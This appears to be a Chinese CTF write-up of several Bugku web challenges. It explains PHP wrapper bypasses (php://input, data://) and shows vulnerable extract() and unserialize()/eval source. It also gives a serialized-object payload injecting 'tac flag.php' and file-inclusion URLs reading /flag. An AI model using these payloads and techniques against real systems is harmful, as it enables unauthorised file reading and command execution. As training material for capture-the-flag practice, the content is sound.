bugku ctf web篇(三)
file_get_contents
描 述: file_get_contents????
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
绕过方法:
使用php://input伪协议绕过
1、将要GET的参数?xxx=php://input
用post方法传入想要file_get_contents()函数返回的值
2、用data://伪协议绕过
将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
或者将url改为:?xxx=data:text/plain,(url编码的内容)
本题适用的方法是第一类,因为还有个参数ac需要传递
源码里有file_get_contents($fn),加上提示:txt???,盲猜flag.txt,访问一下
内容为bugku,
根据if($ac === $f),构造?fn=flag.txt,&ac=bugku,最后得到flag
因为先访问flag.txt,得到内容bugku,文件名赋给fn,f就是文件内容,这样f和ac就相等。
http://ip/?ac=bugku&fn=flag.txt
unserialize-Noteasy WEB 未解决
描 述: 不简单的反序列化
<?php
if (isset($_GET['p'])) {
$p = unserialize($_GET['p']);
}
show_source("index.php");
class Noteasy
{
private $a;
private $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a.$b);
eval($a.$b);
}
public function __destruct()
{
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a.$b);
$a("", $b);
}
private function check($str)
{
if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
}
public function setAB($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
没做出来
安慰奖
描 述: flag{}
base64解码后得到:backups
扫描一下网站
http://114.67.175.224:10491/?code=O:3:%22ctf%22:3:{s:11:%22%00*%00username%22;s:5:%22admin%22;s:6:%22%00*%00cmd%22;s:12:%22tac+flag.php%22;}
文件包含2
提 示: 文件包含
描 述: 文件包含2
http://114.67.175.224:15851/index.php?file=/flag
http://114.67.175.224:15851/index.php?file=file:///flag
需要管理员
描 述: 好像需要管理员